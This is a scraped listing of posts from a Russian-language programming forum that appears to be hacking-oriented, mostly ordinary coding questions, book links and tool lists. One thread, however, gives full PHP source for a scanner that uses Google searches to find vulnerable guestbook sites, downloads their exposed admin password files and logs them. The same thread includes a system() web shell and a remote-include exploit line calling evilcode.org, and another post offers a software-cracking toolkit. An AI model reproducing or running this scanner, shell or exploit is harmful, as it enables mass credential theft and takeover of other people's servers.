Вопрос - Ответ
Author: sorax • 2018-10-24T17:47:04+0000 • Replies: 141 • Views: 65K
Если у вас есть вопросы не требующие больших ответов из области веб-
программирования, вы можете задать их в этой теме.
_PHP, JavaScript, SQL и NoSQL базы данных, Python, Perl _и все остальное, что
касается веб-разработки.
Собственные проги
Author: RooTex • 2005-09-29T08:44:39+0000 • Replies: 102 • Views: 47K
Mini sender Icq
Вот прога каторая быстро отправляет Сообщения на указанный вами UIN/
В ней нету никаких настроек итд...Прога очень проста в использовании...
[mod] Great: Сюда кидаем софт, написанный вами. С описанием. Без оффтопика и
флейма. Тут только обсуждение этого софта, конструктивные предложения по
улучшению и в этом роде. Все "нравится", "фтопку", "кг/ам" и прочий флейм
будет безжалостно удаляться.[/mod]
Пишем google-сканнер на PHP своими руками
Author: XSSBot • 2018-10-04T14:12:23+0000 • Replies: 0 • Views: 46K
Здравствуйте, я хочу Вам рассказать, как можно самому сделать гугл-сканнер на
php. Написать эту статью я решил потому, что не видел в нете ничего подобного.
Если кто видел что-нибудь похожее, сообщите об этом мне.
"Почему именно на php?", - спросите Вы. Да потому что этот скрипт можно
будет залить на любой взломанный сервак и выполнить там. Да и вообще я считаю,
что будущее за php.
Во-первых, давайте разберемся, что конкретно мы хотим сделать.
1) из результатов поиска (бажного скрипта, например) нам нужно выдрать все
ссылки
и записать их в файл/ вывести на экран (хотя бы в целях отладки);
2) затем нам нужно качественно отфильтровать левые ссылки - это, на мой
взгляд,
самое сложное;
3) далее нужно пройтись по каждой отфильтрованной ссылке по отдельности и
попробовать применить эксплоит;
4) если он сработал, то пишем это это в лог.
В качестве скрипта для своих экспериментов я взял Sad Raven's Guestbook. В
самой гостевой книге багов мною найдено не было, но проблема в том, что
админские
логин и md5-хэш пароля она хранит в файле "passwd.dat" и достаточно часто к
нему
забывают запретить доступ. А через админ. центр в разделе "дизайн" можно
сделать
себе простенький веб-шелл вроде этого:
Code:Copy to clipboard
<?php
if (isset($_GET['c'])) // это чтобы не было вывода warning, когда нет команды
{
echo "<pre>\r\n";
system($_GET['c']);
echo "</pre>\r\n";
}
?>
Ну что ж, приступим =)
=======begin PhpGoogleScanner.php source code=======
Code:Copy to clipboard
<html>
<META HTTP-EQUIV=Content-Type CONTENT=text/html; charset='windows-1251'>
<title>PhpGoogleScanner v0.8 Ready</title>
<body bgcolor="gray">
<pre><font face="Fixedsys">
<?php
// PhpGoogleScanner v0.8 by Sad icq 2257763
// Gr33tz 2 dinggo, virus & all ex-USSR undergr00nd
if (isset($_GET['host'])) $host = $_GET['host'];
else $host = 'www.google.com'; // поисковый сервер
if (isset($_GET['path'])) $path = $_GET['path'];
else $path = '/'; // путь к скрипту поиска
if (isset($_GET['script_name'])) $script_name = $_GET['script_name'];
else $script_name = 'index.php'; // имя файла бажного скрипта
if (isset($_GET['query'])) $query = $_GET['query'];
else $query = 'search?q=allintitle:s+r+guestbook+v1.3&num=100&hl=en'; // запрос
$SPLOIT_STRING = 'passwd.dat'; // самое главное - эксплоит
function grab_links($host, $path, $html_source) // эта функция выдирает все ссылки
{
global $log, $links;
$log = fopen("goodebug.txt", "ab+"); // откроем файл для записи логов
// Регулярное выражение для поиска всех ссылок
preg_match_all("#<a.*?href=\"?'?([^\s\"'>]+)\"?'?.*?>(.*?)</a>#is", $html_source, $links);
for ($i=0; $i<count($links[1]); $i++)
{
// сделаем из относительных ссылок абсолютные
if (strpos($links[1][$i],"http") === false) $links[1][$i] = 'http://'.$host.$path.$links[1][$i];
echo $links[1][$i]."\r\n";
fputs($log, $links[1][$i]."\r\n"); // пишем все нефильтрованные ссылки в лог - на всякий случай, а вдруг у нас фильтр через жопу написан? =)
}
echo "\r\n";
}
$socket = fsockopen($host, 80); // коннектимся...
if (!$socket)
{
echo "Unable to connect to target server <b>\"$host\"</b>\r\n";
die("Socket Error =("); // коннекта нету =(
}
else
{ // формируем GET запрос к веб-серверу
$GET_query =
"GET ".$path.$query." HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en\r\n".
"User-Agent: Sad Internet Spider v1.0\r\n".
"Host: $host\r\n".
"Connection: Close\r\n\r\n";
fputs($socket, $GET_query);
while (!feof($socket))
{
$html_source .= fgets($socket, 256); // получаем данные из сокета
}
grab_links($host, $path, $html_source); // выдираем ссылки
for ($i=0; $i<count($links[1]); $i++) // проходим все ссылки и обрабатываем их
{
if ((strpos($links[1][$i],"search") === false) && (strpos($links[1][$i], 'google') === false))
{ // фильтруем левые ссылки
$good_link = substr($links[1][$i], 0, strpos($links[1][$i], $script_name));
if ($good_link)
{ // нашли "хорошую" ссылку
fputs($log, "Good link: ".$good_link."\r\n"); // запишем-ка мы ее в лог
$file = @fopen($good_link.$SPLOIT_STRING, "rb"); // пытаемся слить файл
if (!$file) fputs($log, "Cannot open file: ".$good_link.$SPLOIT_STRING."\r\n"); // облом =(
else
{ // успешно открыли файл
fputs($log, "File ".$good_link.$SPLOIT_STRING." successfully opened.\r\n");
while (!feof($file))
{
$result .= fgets($file, 256); // долгожданный результат =)
}
if (strpos($result, 'Password') === false) // если пассов нет
{
echo "\r\nСкорее всего по адресу ".$good_link.$SPLOIT_STRING." пассов нет =(\r\n";
unset($result);
}
else
{ // если все путем
echo "\r\nFile from ".$good_link.":\r\n".htmlspecialchars($result)."\r\n";
fputs(fopen("goolog.txt", "ab+"), "\r\nFile from ".$good_link.":\r\n".$result."\r\n");
unset($result);
}
} // обработали файл
} // конец обработки "хорошей" ссылки
} // конец фильтра левых ссылок
} // конец обработки всех ссылок
}
?>
</font></pre></body></html>
=======end of PhpGoogleScanner.php source code=======
Эксплоит для скриптов с include-багом мог бы выглядеть следующим образом:
buggy_script.php?page=http://www.evilcode.org/c.txt?c=pwd;id;other_commands_here
Конечно это сработает только при allow_url_fopen = 1.
Также можно подправить сканнер, чтобы он искал и эксплуатировал уязвимости
типа sql-injection.
А если очень постараться, то доработав этот исходник можно сделать и какого-
нибудь злого червя >=)
В общем много чего еще можно придумать, лишь бы фантазии и знаний хватило.
Пока это все, удачи.
SAD ICQ: icq 2257763
PHP cкрипты на заказ. Бесплатно.
Author: DeusTirael • 2008-08-13T16:07:04+0000 • Replies: 139 • Views: 39K
Предлагаю всем желающим постить здесь свои просьбы о написании различных
скриптов.
Просьбы будут выполняться **бесплатно** мной или любым другим участником
форума который пожелает помочь.
Писать буду в свободное время, так что не ждите мгновенной реакции.
В просьбе желательно как можно подробнее расписывать техническое задание.
Можете заказывать абсолютно любые скрипты: парсеры, регеры, сортировщики,
рассыльщики, бруты, чекеры...
Готовые скрипты будут выкладываться в этой теме. Интеллектуальные права на
скрипты остаются за их авторами.
[mod][Winux:] рекомендуется выполнять вещи логичные и реально полезные. Заказы
выполнять в соответствии с активностью на форуме.[/mod]
Книги по PHP
Author: Winux • 2005-12-01T16:53:37+0000 • Replies: 31 • Views: 33K
**PHP глазами хакера**

_Михаил Фленов
Издательство: БХВ-Петербург, 2005 г.
Мягкая обложка, 296 стр.
ISBN 5-94157-673-0
Тираж: 5000 экз.
Формат: 70x100/16_
От издателя:
> Рассмотрены вопросы безопасности и оптимизации сценариев на языке РHР.
> Большое внимание уделено описанию типичных ошибок программистов, благодаря
> которым хакеры проникают на сервер, а также представлены методы и приведены
> практические рекомендации противостояния внешним атакам. Показаны реальные
> примеры взлома Web-серверов. На компакт-диске приведены исходные тексты
> примеров, рассмотренных в книге, а также полезные программы и утилиты.
>
> Click to expand...
Книга рекомендована для Web-программистов, администраторов и специалистов по
безопасности.

[Скачать|Download](http://dlfiles.org/books/php/Flenov_PHP_glazami_hakera.rar)
Алгоритмы
Author: AKella • 2006-01-06T13:31:09+0000 • Replies: 46 • Views: 18K
[mod][Great:] Тут задаем вопросы по составлению алгоритмов для прогамм. Что-то
вроде "как посчитать простые числа" или в этом роде. Но учтите, что простые
вопросы вида "сложить 2 и 3" не принимаются.[/mod]
Короч на веб-хак чувак какой-то попросил помочь решить задачи. Я решил
выложить их сюда.
> 1)Дан линейный массви натуральных чисел. Какая цифра наиболее часто
> встречается в записи этих чисел? Если таких цифр несколько, напечатать
> каждую
>
> 2)Дано натуральное число n Заполнить квадратную матрицу размерности n*n
> последовательными натуральными числами, начиная с 1, размащая их против
> часовой стрелки по периметру всех вложенных квадратов, начиная с левого
> верхнего угла.
>
> 3)Даны N целых чисел Х1, Х2, ... , Xn. Составте программу, которая
> расставит между ними знаки "+" и "-" так, чтобы значение получившегося
> выражения было равно заланному целому S.
> 2<n<24, 0<X<50 000 000, -1 000 000 000<S<1 000 000 000
>
> 4)В декартовой системе координат на плоскости заданы координаты вершин
> треугольника (x1,y1),(x2,y2),(x3,y3) и еще одна точка (x0,y0). Составте
> программу, которая будет определять, принадлежит ли эта точка треугольнику.
>
> Click to expand...
Исходники известных программ
Author: Winux • 2005-12-26T23:05:07+0000 • Replies: 40 • Views: 16K
Предлагаю в этой теме кидать исходники всяко-разного софта для изучения
принципов работы ну и собстно внесение собственных изменений в этот софт.
Просьба не кидать сорсы GPL ибо они есть у всех кто того хочет и доступны
каждому.
Итак, начнем, у меня в аттаче сорсы консольной аси. Считается неплохим
вариантом для изучения реальзации ICQ протокола.
долгожданный конкурс!
Author: [500mhz] • 2006-08-24T11:11:08+0000 • Replies: 55 • Views: 15K
и так конкурс!
ЗАДАНИЕ:
написать программу шутку размером не более 2кб = 2048 байт
не паковать!
релизы слать мне в ПМ в base64
срок конкурса до 03.09.2006
тоесть 04.09.2006 все релизы выставляются на публичное голосование
Софт Для Кодинга
Author: Winux • 2005-06-02T18:14:08+0000 • Replies: 31 • Views: 14K
**Assembler**
**SCRNSAVE.LIB**
OMF-версия библиотеки для экранных заставок.
Статическая библиотека в формате OMF с исходным текстом и примерами
использования в Borland Turbo Assembler. Она служит для создания экранных
заставок выполняя при этом всю рутинную работу и позволяя вам сосредоточится
лишь на конфигурировании и создании визуальных эффектов.

[Скачать](http://www.softok.org/coding/othyap/4482dload.html)
 Скачать
[Proforma 2003](http://softsearch.ru/pcgi/dl.cgi?t=2&id=115674)
**ImpInc 1.3**
Создает include-файлы с экспортами в формате TASM.
Консольная утилита, предназначенная для тех, кто использует Borland Turbo
Assembler для разработки 32-разрядных приложений Windows. Она извлекает из DLL
имена экспортируемых функций и создает соответствующие include-файлы в формате
TASM.
 [Скачать
ImpInc 1.3](http://www.softok.org/coding/othyap/4549dload.html)
**intr_lib 0.5**
Библиотека для разработки простых интерфейсов для *.pas. Функции на *.asm.
Исходный текст. Поддержка мыши.
 Скачать
intr_lib 0.5
**C / C++**
**VBto Converter 1.0**
Конвертор MS VB 6.0 форм в ресурсы MS VC++ проекта.
Любой frm, frx файл vbp проекта может быть конвертирован в соответствующие rc,
cpp, h файлы dsp проекта. Поддерживаются все основные типы VB объектов.
Обрабатываются и зарегистрированные в системе визуальные ActiveX компоненты. В
результате конвертации получаем полностью готовый к компиляции MS VC++ проект.
Конвертация исходного кода текущей версией не поддерживается.
 [Скачать VBto
Converter 1.0](http://www.softp.ru/?sec_id=92&id=5654&dl=1)
 [Скачать
Бесплатный компилятор и IDE LCC](ftp://ftp.cs.virginia.edu/pub/lcc-
win32/lccwin32.exe)
**Virtual Serial Port Driver 9x 2.0 (Demo)**
Virtual Serial Ports Driver (VSPD) is a Windows device driver. Using it you
can create two virtual serial COM ports in your system which will be virtually
connected to each other. For example, after installing VSPD, you will have
Virtual Serial Port COM5 and Virtual Serial Port COM6 added to your system.
These ports will behave like real common serial ports to other Windows
applications. These ports will not interact with any hardware. The idea is:
all data sent by other application to COM5 will...
 Скачать
Virtual Serial Port Driver 9x 2.0
**LogEngine 1.02**
LogEngine is a C++ library for easy and flexible logging to files.
Multithreaded, easy to use and fast. Automatic logfile backup (several modes).
A small amount of code. Platform Independent.
 [Скачать
LogEngine
1.02](http://ovh.dl.sourceforge.net/sourceforge/logengine/LogEngine-1.02.zip)
**GLClock 2**
Небольшая демонстрационная программа - 3D часы, созданные с использованием
графической библиотеки OpenGL. Показано то, как работать со сложными
объектами, текстурировать их, накладывать освещение, создавать прозрачность и
блики.
 Скачать
GLClock 2
**БД (базы данных): MySQL, PostgreSQL и т.д.**
**Программа Репликатор 1.0.1.37**
Репликатор - это программа для быстрого копирования информации из одной базы
данных Interbase в другую.
Одно из применений этой программы - это восстановление данных после сбоя. Но в
данном случае важно чтобы к базе данных со сбоем программа могла подключиться.
Т.к. восстановление данных происходит путём копирования данных.
Вы можете создавать различные настройки для копирования баз данных.
Программа умеет отключать триггера, ограничения и вторичные ключи. Так же она
умеет выполнять скрип...
 [Скачать
Программа Репликатор
1.0.1.37](http://www.softsklad.ru/codings/dbs/4640download_prog.html)
**IBLogScript 1.1.3.0**
1\. IBLogScript - инструмент переноса и отмены изменений данных Interbase,
основанный на механизме журнала IBExpert
предназначен только для пользователей IBExpert v.2.2.0.4 и выше, применяющих в
своей практике журнал изменений данных.
(IBExpert позволяет автоматически создать набор таблиц и триггеры,
отслеживающие изменения данных)
Если Вы уже используете эту удобную возможность, но Вам необходим инструмент
перенесения изменений, произведенных в одной базе данных, в другие, а также
отмены части изменений после завершения транзакции, IBLogScript поможет Вам.
IBLogScript создает на основе данных журнала (таблицы IBE$LOG_TABLES,
IBE$LOG_FIELDS и др.) воспроизводящий изменения либо отменяющий их SQL-скрипт.
2\. Инструкция по использованию
Просто укажите файл базы данных, имя пользователя и пароль, а также тип
скрипта (воспроизводящий - отменяющий) и запустите программу на исполнение
(F9), затем сохраните полученный скрипт в файле либо скопируйте через буфер
обмена.
Для включения в результирующий скрипт информации журнала о дате и авторе
каждого изменения данных поставьте флажок "Include date and user comments".
Имеется возможность ограничить период, за который записи из журнала IBExpert
будут рассмотрены при составлении скрипта. Для этого необходимо указать даты
начала и окончания периода.
3\. Имеющиеся ограничения
Пока не поддерживается работа с BLOB-полями ввиду невозможности их изменения
SQL-запросом.
4\. Планы дальнейшего развития
Планируется ввод в инструментарий IBLogScript возможности переноса изменений
BLOB-полей, сохранения журнала IBExpert в формате XML и запуска скриптов
непосредственно из программы.
 [Скачать
IBLogScript 1.1.3.0](http://logscript.narod.ru/IBLogScript.zip)
**Ariacom Report Manager 2.2**
Ariacom Report Manager is a COM component allowing database reporting and
multi-dimensional analysis with dynamic SQL generation.
Non-technical end-users can run and edit complex reports from any SQL
relational database.
The ActiveX main features are:
\- Dynamic and optimized SQL queries
\- Generation of complex reports integrating pivot tables
\- Native line, bar, point and pie charts
\- Integrated security management limiting user access
 Скачать
Ariacom Report Manager 2.2
**KSV Editor 2.5b**
Улучшенная версия PROGRESS Procedure Editor v. 9.1
Добавлены файлбар, для переключения между открытыми файлами, инспектор кода,
алиасы;
Реализована поддержка пользовательских плагинов.
Реализована компиляция из редактора как в GUI, так и в CHUI режимах.
Полная интеграция с MS VSS 6.0.
Добавлена возможность форматирования кода для улучшения его читабельности
А также масса приятных мелочей, делающих разработку на PROGRESS 4GL очень
удобной.
 Скачать KSV
Editor 2.5b
**СУБД ORD 5.11**
Система управления объектно-реляционными базами данных ORD представляет собой
инструментальную среду, предназначенную для создания высокоэффективных
информационных систем различного назначения, сочетающих широкие функциональные
возможности, высокую производительность и открытую архитектуру.
Это обеспечивает максимальную гибкость создаваемых систем, очень быструю их
расширяемость и адаптацию к новым задачам при изменениях сферы деятельности,
законодательства, предметной области, реинжиниринге бизнес-процессов и т.д.
Причем, в большинстве случаев расширение системы доступно непосредственно ее
пользователям.
Основу организации СУБД ORD представляет объектно-ориентированная технология,
построенная на уникальной идентификации объектов предметной области
собственным, нереляционным ключом. Такой подход позволяет исключить
противоречия, возникающие в традиционной реляционной модели при изменениях в
предметной области, и существенно упростить процедуры модификации и
масштабирования информационных систем, созданных с применением технологии ORD
 [Скачать СУБД
ORD 5.11](http://www.softok.org/business/othbuh/17387dload.html)
**DBView2 Oracle Edition 1.0**
С помощью нашей программы Вы с легкостью сможете:
просматривать содержимое DBF-файлов в DOS и Win - кодировке, сортировать
содержимое файлов (сортировка сохраняется только во время редактирования
файлов, физически записи не сортируются!);
вносить изменения в содержание Вашей базы данных;
производить поиск по Вашей базе данных;
накладывать фильтр на базу данных;
распечатывать выделенную запись Вашей базы данных;
создавать печатные формы для Ваших баз данных;
 [Скачать
DBView2 Oracle Edition 1.0 ](http://www.vingrad.ru/cgi-
bin/soft/download.pl?id_pr=2109&link=1&type=DBView2Setup.zip)
**GenRep 1.01**
Быстрая и простая разработка отчета непосредственно в MS Word
Высокая скорость генерации отчета
Простота языка описания шаблона отчета
Вызов генератора из любого языка поддерживающего механизм Windows API
Вызов генератора посредством функций system или WinExec
Использование любых существующих документов MS Word для шаблонов генератора
Вывод отчетов в MS Word в виде RTF-файлов с возможностью редактирования и
печати
Вывод отчетов в MS Word из приложений DOS работающих с DBF файлами
Минимальные затраты дискового пространсва при установке генератора
Вывод данных из файлов DBF или из файла произвольных структур подготовленных
из Вашей программы
 [Скачать
GenRep 1.01 ](http://alkud.boom.ru/zip/gr_mini.zip)
**MySQL-Front 2.2**
Идеально подходит для управления БД MySQL под Windows. Графический интерфейс
делает её удобнее в использовании чем phpMyAdmin. Все необходимые функции под
рукой.
Некоторые возможности:
\- create/drop databases
\- create/drop tables
\- edit/add/delete fields
\- edit/insert/delete records
\- edit BLOBs and MEMOs with Bitmap/GIF/JPEG-Support
\- a list of server-variables
\- view and kill other user-processes
\- execute (large) SQL-scripts
\- view advanced table-properties, such as Type, Comment, -- Key_Length and so
on
\- export table-structure and data into SQL-scripts or other -- databases
\- replicate databases between two hosts ("Export tables...")
\- save data to CSV-Files (ideal for working with MS-Excel) or HTML-tables
\- copy CSV-data/HTML-Tables to clipboard
\- copy tables to new table-names
 [Скачать
MySQL-Front 2.2](http://www.anse.de/mysqlfront.zip)
**DBFNavigator 2.0b**
DBFNavigator - это Windows утилита для просмотра и редактирования DBF файлов.
Возможности программы:
\- возможность сохранения настроек для каждого файла;
\- поддерживаются версии от dBase до Visual FoxPro;
\- может читать мемо поля dBase и FoxPro форматов;
\- поддерживаются OEM и ANSI кодировки;
\- перекодировка из OEM в ANSI и обратно;
\- выделение, копирование и вставка группы ячеек;
\- редактирование структуры;
\- сортировка;
\- фильтр;
\- поиск;
[Скачать DBFNavigator 2.0b](http://alxsoft.narod.ru/DBFNavigator2.zip)
**Pascal**
 [Скачать
Компилятор TMT Pascal Lite v.3.90
](http://pascal.sources.ru/tmt/pub/tmtp390d.zip)
**Инсталляторы**
**ArInstall 2.0**
ArInstall - Это мощная и удобная утилита для создания полноценных установочных
программ.
ArInstall обладает простым и удобным интерфейсом, благодаря чему в ней очень
легко разобраться.
Создание инсталлятора сводится к прохождению всего 6 несложных шагов.
 [Скачать
ArInstall 2.0 ](http://www.softeza.com/download/arinstall.zip)
**LizaJet Installer for Delphi Developers 1.3**
Начата стадия бета тестирования LizaJet Installer for Delphi Developers версии
1.3 с возможностью получения Complete-8 Edition - полнофункциональной версии
системы бесплатно для тех, кто будет принимать в ней активное участие.
Мы заинтересованы не только в получении сообщений об ошибках в системе, но и в
отзывах о программе и предложениях по улучшению инсталлятора. Поэтому для нас
"активные участники" \- это все, кто присылает нам информацию об ошибках или
участвует в обсуждении системы в форуме или по e-mail (support@lizajet.ru). По
окончании бета тестирования очередной версии мы связываемся со всеми
участниками по e-mail и, в случае заинтересованности, высылаем лицензию на
полную версию программы.
Дополнительная информация - на сайте <http://www.lizajet.ru>
LizaJet Installer - Универсальная система инсталляции для Microsoft Windows,
специально созданная для разработчиков, использующих Delphi. Среда разработки
пакетов с интегрированным отладчиком; инсталляционные скрипты на языке Object
Pascal; создание и редактирование диалогов, входящих в Setup Wizard;
наследование инсталляционных пакетов; инсталляция с серверов Интернет, с
поддержкой докачки файлов; скачиваются только файлы, необходимые для установки
опций, выбранных пользователем; возможность использования электронной цифровой
подписи.
 [Скачать
LizaJet Installer for Delphi Developers
1.3](http://www.softok.org/coding/delphi/4763dloadcur.html)
**GkSetup 2.10**
Программа для создания инсталляшек. Показывает Лицензионное соглашение.
Собирает информацию о пользователе. Пишет информацию в реестр. Добавляет
программы в стартовое меню. Регистрирует dll. Многоязыковая поддержка.
Uninstall. Можно настраивать внешний вид.
 [Скачать
GkSetup 1.92 ](http://www.gkware.com/download/GkSetupFreeEdition.EXE)
Это только частичный список софта. Естественно есть еще. Я призываю вас в этой
теме постить ТОЛЬко софт для кодинга. Буду раз за дополнения. Обязательно
постим язык, для которого этот софт предназначен.
PHP?
Author: Reanimator • 2006-03-18T21:37:18+0000 • Replies: 53 • Views: 14K
Здраствуйте! Я вот недавно начал учить пхп, но вот одного не понимаю: я так
понимаю что код нужно писать в каком либо текстовом редакторе, а вот как после
написания кода с расширением пхп сохранять?
Програмирование для Dreamcast
Author: Winux • 2004-11-14T20:58:01+0000 • Replies: 34 • Views: 14K
Товарищи, вам наверное уже давно известна приставка Dreamcast?
Ну так для нее можно програмировать. В этой теме я предлагаю обсудить методы и
возможности програмирования для нее.
Выкладывайте тут ссылки на софт, пишите статьи и так далее.
PHP Полезные классы и функции
Author: sorax • 2018-10-24T17:18:55+0000 • Replies: 6 • Views: 12K
Друзья, в данной теме предлагаю делиться своими собственными полезными
наработками на PHP.
Выкладывайте только личный код с небольшими объяснениями принципов работы.
Голосование
Author: [500mhz] • 2006-09-04T16:09:01+0000 • Replies: 49 • Views: 12K
в архиве 5 файликов
смотрим каждый и голосуем
к сожалению 2 програмки не прошли предварительный отбор так как одна была
прислана в виде сорца
а вторая 120 байт com файлик который я так и не понял что делает )))
ASM vs PureBasic
Author: Exs42 • 2006-01-29T20:27:23+0000 • Replies: 45 • Views: 12K
Есть такой язык PureBasic. Все команды как в барсике, но работает он с
асмовской скоростью и размеры прог тоже как на асме. В новой версии в исходный
код можно добовлять команды чистого асма! Кто чего думает по этому поводу?
Новости из мира Web-Разработки
Author: sorax • 2018-10-24T17:38:13+0000 • Replies: 0 • Views: 11K
Сфера web-разработки развивается огромными шагами.
Каждый день появляются новые инструменты, обновления для уже существующих
продуктов и многое другое.
Важно идти в ногу со временем и быть в курсе самых последних новостей, поэтому
делимся свежими материалами кратко и по-делу.
Можно публиковать небольшой спойлер, ведущий на вашу тему с более развернутым
описанием новости и там же публиковать свои комментарии на этот счет.
Вопросы по Perl
Author: kip • 2006-01-03T10:07:03+0000 • Replies: 25 • Views: 11K
[mod][Great:] Тут теперь задаем все вопросы по перлу[/mod]
Народ, додскажите как можно немного авторизировать perl

1) Мне нужно чтобы ответ perl скрипта, который выводиться на экран, сохранялся
в файлик...
2) Можно ли сделать чтобы скрипт самозапускался в определенное время? Или
можно ли хотя его запустить, потом выйти в оффлайн... и через некоторые время
посмотреть результаты?
Зараенее спасибо....
Книги по MySQL
Author: Ma-stiff • 2005-08-17T09:42:54+0000 • Replies: 8 • Views: 11K
**Аткинсон Леон MySQL. Библиотека профессионала**

Размер: 6790 Кбайт
<http://www.zipsites.ru/books/atkinson_mysql/>
**Managing and Using MySQL (2nd Edition)**
[http://citrin.pp.ru/docs/MySQL/OReilly%20-...ing%20Mysql.pdf](http://citrin.pp.ru/docs/MySQL/OReilly%20-%20Manage%20&%20Using%20Mysql.pdf)
**Андрей Головин, Вадим Ткаченко, Александр Качанов Букварь по PHP и MySQL.**
Размер: 568Кб
<ftp://files.zipsites.ru/books/programming/PHP/phpmysql.zip>
**Томсон Лаура, Веллинг Люк Разработка Web-приложений на РНР и MySQL**
Размер: 32,1 Мб
<http://www.zipsites.ru/books/php_and_mysql/>
**Ульман Ларри MySQL. Руководство по изучению языка**
Размер: 50 Мб
<http://84.252.140.76/1211/PHP/ulman_mysql.zip>
Размер: 4Мб
<http://www.zipsites.ru/books/ulman_mysql/>
**Харрис PHP/MySQL для начинающих**
Размер: 56 Мб
<http://84.252.140.76/1211/PHP/Harris_phpmysql.zip>
Размер: 5 Мб
<http://www.zipsites.ru/books/php_mysql_dlya_nachinayushchih/>
**Он-лайн Документация по MySQL**
[Смотреть](http://www.mysql.ru/docs/)
PHP >> EXE
Author: Winux • 2006-07-03T09:11:37+0000 • Replies: 27 • Views: 11K
**Bambalam PHP EXE Compiler/Embedder 1.1**

Не знаю насколько это ново, но в сети появился инструмент для компиляции php
приложений под win32. Грубо говоря из файла php.php можно сделать консольный
исполняемый фаил php.exe. Очень удобно для изготовления експлойтов на php если
необходимо содержать код в тайне от чайников. Примечательно, что инструмент
распространяется с открытым кодом.
Использование: **bamcompile [-options] infile.php [outfile.exe]**
Закачка далее>>[New$paN]

[Скачать|Download сам
компилятор](http://www.bambalam.se/bamcompile/download/bamcompile1.1.zip)

[Скачать|Download
исходник](http://www.bambalam.se/bamcompile/download/bamcompile_source1.1.zip)
:zns2: [Домашняя страница](http://www.bambalam.se/bamcompile/)
Интересная Задача
Author: MaFb14 • 2005-05-04T20:27:34+0000 • Replies: 29 • Views: 11K
"Зал"-концерт зал, в котором конечная расстановка мест не известна, известно,
что максимум рядов 100, а мест в ряде 30.
Составить структуру данных, которая будет хранить план зала используя минимум
памяти. Не обязательно реализация её в коде, можно только подробное описание.
Логически каждое место в зале может имеет два состояние ЗАНЯТО и СВОБОДНО.
Понятно что 100*30=3000(байт) но как ещё меньше!! Как создать структуру в
которой место в памяти занимают только нужные данные, а те которые не нужны
просто NUll ...
Пример можно на Delphi\Vb.. да вообше хоть на чем)))
.::Полный набор инструментов::.
Author: utilizat0r • 2006-05-10T17:43:18+0000 • Replies: 26 • Views: 10K
**.::Полный набор инструментов::.**
/=============================\
**_Analysis:_**
OllyDbg 1.10 & Plugins - Modified by SLV *NEW*
W32Dasm 8.93 - Patched *NEW*
PEiD 0.93 + Plugins *NEW*
RDG Packer Detector v0.5.6 Beta - English *NEW*
**_Rebuilding:_**
ImpRec 1.6 - Fixed by MaRKuS_TH-DJM/SnD *NEW*
Revirgin 1.5 - Fixed *NEW*
LordPE De Luxe B *NEW*
_**
Packers:**_
FSG 2.0
MEW 11 1.2 SE
UPX 1.25 & GUI *NEW*
SLVc0deProtector 0.61 *NEW*
ARM Protector v0.3 *NEW*
WinUpack v0.31 Beta *NEW*
**_
Patchers:_**
dUP 2 *NEW*
CodeFusion 3.0
Universal Patcher Pro v2.0
Universal Patcher v1.7 *NEW*
Universal Loader Creator v1.2 *NEW*
aPatch v1.07
PMaker v1.2.0.0 *NEW*
Tola's Patch Engine v2.03b
ABEL Loader v2.31
Yoda's Process Patcher *NEW*
Registry Patch Creator *NEW*
ScAEvoLa's PatchEngine v1.33 *NEW*
Dogbert's Genuine Patching Engine v1.41 *NEW*
Graphical-PatchMaker v1.4 *NEW*
The aPE v0.0.7 BETA *NEW*
Liquid2 *NEW*
PELG v0.3 *NEW*
PrincessSandy v1.0 *NEW*
_**HEX Editor:**_
Biew v5.6.2
Hiew v7.10 *NEW*
WinHex v12.5 *NEW*
_**Decompilers:**_
DeDe 3.50.04
VB Decompiler Lite v0.4 *NEW*
Flasm
_**Unpackers:**_
ACProtect - ACStripper
ASPack - ASPackDie
ASProtect > Stripper 2.07 Final & Stripper 2.11 RC2 *NEW*
DBPE > UnDBPE
FSG 1.33 > Pumqara's Dumper
FSG 2.00 > UnFSG
MEW > UnMEW
PeCompact 1.x > UnPecomp
PEncrypt > UnPEncrypt
PeSpin 0.3 > DeSpinner 0.3
tELock 0.98-1.0 > UntELock
EXEStealth > UnStealth
Xtreme-Protector / Themida > XprotStripper v1.1 *NEW*
Morphine Killer 1.1 by SuperCracker/SND *NEW*
ASPR Dumper v0.1 *NEW*
Armadillo Process Detach v1.1 *NEW*
Armadillo Dumper v1.0 *NEW*
Armadillo Nanomite Fixer *NEW*
Armadillo Distance Decryptor aka Jump Table Fixer *NEW*
ArmTools (Translated!) *NEW*
ArmInline v0.1 *NEW*
Quick Unpack v1.0b3 *NEW*
Procdump v1.6.2 *NEW*
_**Keygenning: *NEW***_
TMG Ripper Studio 0.02 *NEW*
_
**Other:**_
FileMon v7 (Patched) *NEW*
RegMon v7 (Patched) *NEW*
RSATool 2
DAMN HashCalc
EVACleaner 2.7
Process Explorer
Resource *Sansьrlendi*
PUPE 2002
PointH Locator *NEW*
ASPR CRC Locator 1.2 *NEW*
PE Tools 1.5 RC5 *NEW*
API Address Finder *NEW*
Jump to Hex Convertor *NEW*
PE GeNeRaToR 1.2.1 *NEW*
Quick File Viewer v1.0.1 *NEW*
PE Insight 0.3b *NEW*
Crypto Searcher *NEW*
PE Editor v1.7 *NEW*
bkslash's Inline Patcher *NEW*
Stud_PE v2.1 *NEW*
Injecta v0.2 *NEW*
PE Rebuilder v0.96b *NEW*
PE Optimizer v1.4 *NEW*
ToPo v1.2 *NEW*
NFO Builder 2000 v1.02 *NEW*
NFO File Maker v1.6 *NEW*
TMG NFOmakeR v1.0 *NEW*
hCalc *NEW*
======================================================================================
Пакет не мой ...Автора не помню...Pereb'е и ToPo 1.2 --из пакета
удалите...перезалейте у кого есть возможность на нормальный хост
======================================================================================
...................................................................................[**+Скачать+**](http://slil.ru/22428934/711815592/Crackerskit.2.0-ICU.rar)...............................................................................

[Скачать|Download](http://rapidshare.com/files/1874606/Crackerskit.2.0-ICU.rar)
Рапида
Пароль: www.spynet.ru
**.::Вот подборка книг по Ассемблеру::.**
**Ассемблер под ДОС
Assembler & Win32
Крупник — ОПЫТ ДИЗАССЕМБЛИРОВАНИЯ БОЛЬШОЙ .COM ПРОГРАММЫ
Рей Дункан — Оптимизация программ на Ассемблере
Питер Абель — Ассемблер и программирование для IBM PC
Программирование и кодирование
Орлов С.Б. — Программа – справочник по системе программирования ТУРВО
АССЕМБЛЕР 2.0 (ЧАСТЬ I)
Орлов С.Б. — Программа – справочник по системе программирования ТУРВО
АССЕМБЛЕР 2.0 (ЧАСТЬ II)
Орлов С.Б. — Программа – справочник по системе программирования ТУРВО
